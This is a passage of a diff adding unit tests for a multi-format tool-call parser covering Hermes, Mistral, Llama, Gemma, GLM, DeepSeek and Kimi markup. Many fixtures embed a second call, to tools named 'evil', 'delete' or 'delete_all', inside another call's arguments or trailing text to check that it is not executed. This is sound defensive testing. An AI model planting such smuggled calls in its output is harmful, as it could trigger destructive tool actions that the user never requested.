+            '<function=evil><parameter=x>1</parameter></function>"}'
+        )
+        for strict in (True, False):
+            calls = parse_tool_calls_from_text(text, allow_incomplete = not strict)
+            assert [c["function"]["name"] for c in calls] == ["web_search"]
+            assert "<function=evil>" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_mistral_array_arg_quoting_tool_call_json(self):
+        text = (
+            '[TOOL_CALLS][{"name":"web_search","arguments":{"query":'
+            '"see <tool_call>{\\"name\\":\\"evil\\"}</tool_call>"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_outer_keeps_winning_over_mistral_literal(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"docs say [TOOL_CALLS]evil[ARGS]{}"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestHealerSignalAlignment:
+    """The healer buffers only formats its shared parser can promote. Mistral's
+    ``[TOOL_CALLS]`` is promotable (rescued), so it is a heal signal; the loop-only
+    text-call markers (Llama ``<|python_tag|>``, bare ``[ARGS]``) are not, so they
+    stream through instead of stalling as prose that never yields a call."""
+
+    def test_heal_signals_subset_of_promotable_formats(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+            "<|content_invoke_tool_json|>",
+        }
+
+    def test_stream_healer_does_not_hold_llama_python_tag_text(self):
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        healer = StreamToolCallHealer(
+            {"web_search"},
+            [{"type": "function", "function": {"name": "web_search", "parameters": {}}}],
+        )
+        # Llama <|python_tag|> is not a healer-promotable format, so it streams through as text.
+        events = list(healer.feed('<|python_tag|>web_search.call(query="cats")'))
+        text_out = "".join(v for k, v in events if k == "text")
+        assert "<|python_tag|>" in text_out  # streamed through, not buffered
+        assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
+
+
+class TestGemmaWrapperlessLiteralMarkers:
+    """Wrapper-less Gemma calls whose ARGUMENTS mention Gemma's own markup.
+
+    The tool_healing deferral must key on an actual wrapped opener
+    (``<|tool_call>call:...``), not the wrapper literal anywhere in content:
+    a query about the marker has nothing tool_healing can parse, and deferring
+    it loses the call entirely (not executed AND stripped from display)."""
+
+    def test_marker_literal_in_argument_still_parses(self):
+        text = 'call:web_search{query:"what does <|tool_call> mean"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what does <|tool_call> mean"
+
+    def test_real_wrapped_call_still_deferred_to_tool_healing(self):
+        from core.inference.tool_call_parser import _parse_gemma_tool_calls
+
+        # An actual wrapped opener present: the Gemma fallback must keep
+        # deferring to the shared tool_healing parser that owns that form.
+        text = '<|tool_call>call:web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        assert _parse_gemma_tool_calls(text, id_offset = 0) == []
+
+    def test_single_quoted_brace_does_not_truncate_code(self):
+        text = "call:python{code:print('}')}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "print('}')"
+
+    def test_single_quoted_brace_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:python{code:print('}')} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"python"})
+        assert "call:python" not in stripped
+        assert "')}" not in stripped
+        assert stripped.strip() == "Done."
+
+
+class TestGlmEmbeddedClosePair:
+    """A GLM value whose string literal embeds the full close-tag pair
+    ``</arg_value></tool_call>`` (code documenting the GLM format) must not be
+    truncated at the embedded pair: a structural close sits at balanced quote
+    state, an embedded one is inside an open string literal."""
+
+    def test_embedded_pair_inside_quoted_value_not_structural(self):
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == 'print("</arg_value></tool_call>")\nx = 1'
+
+    def test_strip_covers_the_full_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call> Done."
+        )
+        stripped = strip_tool_markup(text, final = True)
+        assert "arg_value" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_unbalanced_apostrophe_falls_back_to_first_candidate(self):
+        # Prose-like value with an apostrophe: no candidate reaches balanced
+        # quote state, so the first token-valid close wins (prior behavior).
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>it's fine</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "it's fine"
+
+
+class TestPythonTagLiteralInsideMistralArgs:
+    """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes."""
+
+    def test_mistral_arg_quoting_python_tag_call(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "what is <|python_tag|>evil.call(x=1)"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what is <|python_tag|>evil.call(x=1)"
+
+
+class TestPythonTagOuterOverXmlLiteral:
+    """A leading Llama-3 ``<|python_tag|>`` call owns the turn: tool XML/Mistral
+    markup quoted in a ``.call(...)`` string argument (or in trailing prose) is
+    data, so the outer call executes -- parity with the bare-JSON / Mistral /
+    attribute-form leading-ownership rules. XML before the tag keeps normal order."""
+
+    def test_call_arg_quoting_complete_function_xml(self):
+        # A closed <function=...> in a .call() code arg must not beat the leading python_tag call.
+        text = (
+            '<|python_tag|>python.call(code="<function=render_html>'
+            '<parameter=x>1</parameter></function>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=render_html><parameter=x>1</parameter></function>"
+
+    def test_call_arg_quoting_bare_function_tag_in_query(self):
+        # A query mentioning <function=...> must search, not execute a phantom tool.
+        text = '<|python_tag|>web_search.call(query="how do I use <function=foo> in llama")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "how do I use <function=foo> in llama"
+
+    def test_call_arg_quoting_tool_call_json(self):
+        text = (
+            "<|python_tag|>save_file.call(content="
+            '"<tool_call>{\\"name\\": \\"delete\\", \\"arguments\\": {}}</tool_call>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["save_file"]
+
+    def test_json_form_code_arg_quoting_function_xml(self):
+        # JSON emission: a <function=...> in the code arg is data; the outer "python" call runs.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=terminal>ls</function>"
+
+    def test_call_arg_quoting_mistral_trigger(self):
+        text = '<|python_tag|>web_search.call(query="see [TOOL_CALLS]evil[ARGS]{}")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        # A leading python_tag call owns the turn even when a real XML literal follows.
+        text = (
+            '<|python_tag|>web_search.call(query="cats") '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_before_python_tag_keeps_xml_order(self):
+        # A foreign signal BEFORE the tag keeps normal document order (XML wins).
+        text = (
+            "<function=web_search><parameter=q>x</parameter></function> "
+            '<|python_tag|>python.call(code="y")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestBareJsonOuterOverXmlLiteral:
+    """Quoted tool XML inside a leading bare-JSON call is data; XML before the JSON keeps normal order."""
+
+    def test_bare_json_code_arg_quoting_function_xml(self):
+        text = (
+            '{"name": "python", "arguments": '
+            '{"code": "run() # <function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "run() # <function=terminal>ls</function>"
+
+    def test_bare_json_outer_unrestricted_mode(self):
+        text = '{"name": "python", "parameters": {"code": "<function=terminal>ls</function>"}}'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+
+    def test_xml_before_json_keeps_xml_order(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            ' {"name": "python", "arguments": {"code": "x"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMagistralThinkRehearsal:
+    """A call rehearsed inside [THINK]...[/THINK] is reasoning; the real call after wins, and parse agrees with strip."""
+
+    def test_function_xml_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]I could emit <function=web_search>{"query":"x"}</function>'
+            ' here[/THINK][TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_hermes_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]maybe <tool_call>{"name":"web_search","arguments":'
+            '{"query":"x"}}</tool_call>[/THINK]'
+            '[TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_unclosed_think_parses_nothing(self):
+        text = '[THINK]let me try <function=web_search>{"query":"x"}</function>'
+        assert parse_tool_calls_from_text(text) == []
+
+
+class TestGemmaUnquotedApostrophes:
+    """Quotes open strings only at value-start context: an apostrophe inside
+    an unquoted wrapper-less value (contractions, possessives) is prose, and
+    treating it as an opener swallowed the closing brace and lost the call."""
+
+    def test_contraction_in_unquoted_query_parses(self):
+        text = "call:web_search{query:what's the weather}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's the weather"
+
+    def test_contraction_does_not_swallow_next_key(self):
+        text = "call:web_search{query:what's up, n:3}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's up"
+        assert args["n"] == 3
+
+    def test_contraction_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:web_search{query:what's the weather} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"})
+        assert "call:web_search" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_quoted_values_still_hide_delimiters(self):
+        text = 'call:web_search{query:"weather, location: Boston", n:2}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "weather, location: Boston"
+        assert args["n"] == 2
+
+
+class TestGlmKeyWithoutValue:
+    """A GLM <arg_key> with no <arg_value> tag: strict mode rejects the call
+    (same contract as an unclosed value) instead of executing it with the
+    argument silently dropped; Auto-Heal keeps the lenient skip."""
+
+    def test_strict_rejects_key_without_value(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_heal_keeps_the_lenient_skip(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {}
+
+
+class TestDisabledBareJsonLiteralNotPromoted:
+    """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses."""
+
+    def test_literal_inside_disabled_json_stays_data(self):
+        text = (
+            '{"name": "Alice", "note": "try <function=web_search>'
+            '<parameter=query>x</parameter></function>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_python_tag_literal_inside_disabled_json_stays_data(self):
+        text = '{"name": "Alice", "note": "<|python_tag|>web_search.call(query=1)"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_disabled_json_still_parses(self):
+        text = (
+            '{"name": "Alice", "note": "<function=evil>x</function>"} '
+            '<tool_call>{"name": "web_search", "arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestDeepSeekMarkerInsideLeadingEnvelopes:
+    """A DeepSeek/Kimi marker quoted inside a leading bare-JSON or Mistral
+    call's argument strings is data: the pre-pass must not promote the
+    embedded no-arg literal and drop the real outer call."""
+
+    def test_marker_inside_leading_json_call_stays_data(self):
+        text = (
+            '{"name": "web_search", "arguments": '
+            '{"query": "what is <｜tool▁calls▁begin｜>...{}..."}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert "tool▁calls▁begin" in args["query"]
+
+    def test_marker_inside_leading_mistral_call_stays_data(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "docs on <｜tool▁calls▁begin｜> markers"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_deepseek_call_still_parses(self):
+        text = (
+            "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+            '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMistralLiteralInsideLeadingJson:
+    """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it."""
+
+    def test_outer_json_call_wins_over_mistral_literal(self):
+        text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "[TOOL_CALLS]web_search{}"
+
+    def test_disabled_outer_json_keeps_mistral_literal_as_data(self):
+        text = '{"name": "Alice", "note": "[TOOL_CALLS]web_search{}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaWrappedWhitespace:
+    """Whitespace drift around ``call``/``:`` in wrapped Gemma calls must still parse (no fallback exists)."""
+
+    def test_space_after_call_colon_parses(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_space_around_colon_parses(self):
+        text = '<|tool_call>call : web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_strict_mode_still_requires_the_closing_tag(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+
+class TestDisabledJsonBeforeDeepSeekCall:
+    """A disabled leading bare-JSON object whose strings mention a
+    DeepSeek/Kimi marker is dropped and the tail parsed, so a REAL
+    DeepSeek/Kimi call after the object still executes instead of the whole
+    message skipping the pre-pass."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+
+    def test_real_deepseek_call_after_disabled_json_parses(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"} ' + self._DS
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_disabled_json_with_marker_alone_stays_data(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaDottedArgumentKeys:
+    """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost."""
+
+    def test_dotted_key_parses(self):
+        text = '<|tool_call>call:web_search{user.name:<|"|>bob<|"|>, query:<|"|>x<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"user.name": "bob", "query": "x"}
+
+
+class TestLeadingWrapperlessGemmaOverEmbeddedMarkers:
+    """A leading wrapper-less Gemma call to an enabled tool owns the turn: a
+    quoted foreign literal inside its argument (a query citing another tool
+    syntax) is data, and tool_healing must not promote it before the Gemma
+    fallback runs. Foreign markup leading keeps the normal order."""
+
+    def test_leading_gemma_wins_over_quoted_xml_literal(self):
+        text = (
+            'call:web_search{query:"explain <tool_call>'
+            '{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_leading_keeps_normal_order(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"call:evil{x:1} example"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingMistralCallOwnsTheTurn:
+    """A leading Mistral call wins in document order over literal XML in trailing prose."""
+
+    def test_leading_mistral_wins_over_trailing_xml_literal(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"cats"} '
+            "Note: <function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_function_xml_leading_keeps_normal_order(self):
+        text = (
+            "<function=web_search><parameter=query>x</parameter></function> "
+            "[TOOL_CALLS]evil[ARGS]{}"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGemmaDottedKeyAfterBareValue:
+    def test_dotted_key_after_bare_value_is_a_boundary(self):
+        text = "<|tool_call>call:web_search{query:foo,user.name:bob}<tool_call|>"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "foo", "user.name": "bob"}
+
+
+class TestJsonAnswersAreDataForMarkerlessScans:
+    """A whole-content JSON value is a structured answer: a quoted example of
+    an enabled tool's syntax inside it must not execute the tool, and the
+    display strip must not mutilate the answer."""
+
+    def test_gemma_example_inside_json_answer_not_promoted(self):
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_gemma_example_inside_json_answer_not_stripped(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_kimi_marker_inside_json_answer_not_promoted(self):
+        text = (
+            '{"answer":"<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaNestedQuotedLeaves:
+    def test_nested_object_and_array_values_are_unquoted(self):
+        text = 'call:f{loc:{city:"New York"},items:["a","b"],n:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New York"}, "items": ["a", "b"], "n": 3}
+
+
+class TestEarliestEnvelopeWinsAcrossDeepSeekKimi:
+    """The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener: a
+    leading real call wins over a trailing example of the sibling format in
+    either direction (document order, like the other leading guards)."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>evil\n"
+        '```json\n{"x": 1}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    _KIMI = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"query": "cats"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_leading_kimi_wins_over_trailing_deepseek_example(self):
+        text = self._KIMI + " For reference: " + self._DS
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_deepseek_wins_over_trailing_kimi_example(self):
+        text = self._DS + " Kimi format: " + self._KIMI
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestNamelessLeadingJsonAnswerIsData:
+    """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses."""
+
+    def test_xml_literal_inside_json_answer_stays_data(self):
+        text = '{"answer": "use <function=web_search><parameter=query>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_json_answer_still_parses(self):
+        text = (
+            '{"answer": "docs"} <tool_call>{"name": "web_search", '
+            '"arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestClosedCallPrecedesMarkerPrePass:
+    """A closed non-DeepSeek/Kimi call that precedes the first DS/Kimi marker
+    owns the turn: a trailing example (or an example quoted inside a wrapped
+    Gemma argument) must not be promoted by the pre-pass."""
+
+    _KIMI_EVIL = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.evil:0"
+        '<|tool_call_argument_begin|>{"x": 1}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_kimi_example_inside_wrapped_gemma_arg_stays_data(self):
+        text = (
+            '<|tool_call>call:web_search{query:<|"|>explain '
+            + self._KIMI_EVIL
+            + '<|"|>}<tool_call|>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_xml_call_wins_over_trailing_kimi_example(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            " For reference: " + self._KIMI_EVIL
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_kimi_call_still_parses(self):
+        calls = parse_tool_calls_from_text(self._KIMI_EVIL)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestTruncatedWrapperlessGemmaStopsScan:
+    def test_call_quoted_inside_truncated_arg_not_promoted(self):
+        text = 'call:python{code:example("call:web_search{query:hi}") and then it cut'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+
+class TestGemmaQuotedNestedDelimiters:
+    def test_comma_inside_quoted_nested_string_not_a_split(self):
+        text = 'call:f{loc:{city:"New, York"},n:1}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New, York"}, "n": 1}
+
+
+class TestGemmaStringMarkerLiteralInArgs:
+    def test_string_marker_literal_does_not_lose_the_call(self):
+        text = "call:web_search{query:'what does <|\"|> mean in Gemma'}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == 'what does <|"|> mean in Gemma'
+
+
+class TestGemmaMidValueQuotedPhrase:
+    def test_quoted_phrase_mid_value_hides_delimiters(self):
+        text = 'call:web_search{query:find "weather, location: Boston", limit:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": 'find "weather, location: Boston"', "limit": 3}
+
+    def test_apostrophes_still_prose_mid_value(self):
+        text = "call:web_search{query:what's on at the museum, n:2}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's on at the museum", "n": 2}
+
+
+class TestGlmStrictRefusesInQuoteFallback:
+    """A truncated GLM value whose only close candidates sit inside a string
+    literal must reject in strict mode instead of executing truncated
+    arguments; Auto-Heal keeps the lenient partial value."""
+
+    _TRUNC = (
+        '<tool_call>python\n<arg_key>code</arg_key>\n<arg_value>print("</arg_value></tool_call>")'
+    )
+
+    def test_strict_rejects_truncated_in_string_close(self):
+        assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == []
+
+    def test_heal_keeps_partial_value(self):
+        calls = parse_tool_calls_from_text(self._TRUNC, allow_incomplete = True)
+        assert len(calls) == 1 and calls[0]["function"]["name"] == "python"
+
+
+class TestGemmaGuardCoversPreambles:
+    def test_preamble_then_gemma_call_quoting_xml_wins(self):
+        text = (
+            "Sure, searching now. call:web_search{query:"
+            '"explain <tool_call>{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGlmStrictAcceptsApostrophes:
+    def test_apostrophe_value_parses_in_strict_mode(self):
+        text = (
+            "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+            "<arg_value>what's the weather</arg_value>\n</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's the weather"}
+
+
+class TestDisabledGemmaCallLiteralsAreData:
+    def test_literal_inside_disabled_call_not_promoted(self):
+        text = 'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+    def test_real_call_after_disabled_example_still_parses(self):
+        text = (
+            'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+            " call:web_search{query:hi}"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingJsonArrayAnswerIsData:
+    def test_kimi_marker_inside_json_array_answer_not_promoted(self):
+        text = (
+            '[{"answer": "<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}]'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestLeadingBareJsonOwnsTurnOverTrailingXml:
+    """Document order: a leading closed bare-JSON call owns the turn even when
+    tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule)."""
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}} Example: '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"}
+
+    def test_chained_leading_calls_win_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}};'
+            '{"name":"lookup","parameters":{"q":"second"}} '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
